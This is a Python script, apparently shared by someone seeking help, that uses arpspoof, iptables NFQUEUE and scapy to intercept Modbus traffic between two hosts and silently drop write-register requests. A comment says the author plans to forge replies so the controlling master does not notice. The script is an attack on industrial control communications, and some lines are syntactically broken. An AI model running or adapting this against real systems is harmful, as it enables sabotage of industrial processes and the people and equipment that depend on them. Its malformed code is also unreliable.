import nfqueue
from scapy.all import *
load_contrib('modbus')
import os

# MITM rules :
MITM = "iptables -A FORWARD -j NFQUEUE"

print("Adding rules :")
print(MITM)
os.system(MITM)
os.system("sysctl net.ipv4.ip_forward=1")
os.system("arpspoof -i eth0 -t 192.168.1.33 -r 192.168.1.55" &)

def callback(payload):
   data = payload.get_data()
   pkt = IP(data)
   if ModbusPDU06WriteSingleRegisterRequest in pkt:
      # Drop packets with write request...
      print("Write request packet from: " +str(pkt.src))
      #pkt.show()
      payload.set_verdict(nfqueue.NF_DROP)
###
### Here I want send response packet to not to break connection making by master###
###
else:
    # Not to touch packets
    payload.set_verdict(nfqueue.NF_ACCEPT)

def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run()
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        print("Turning off iptables...")
        os.system('iptables -F')
        os.system('iptables -X')
main()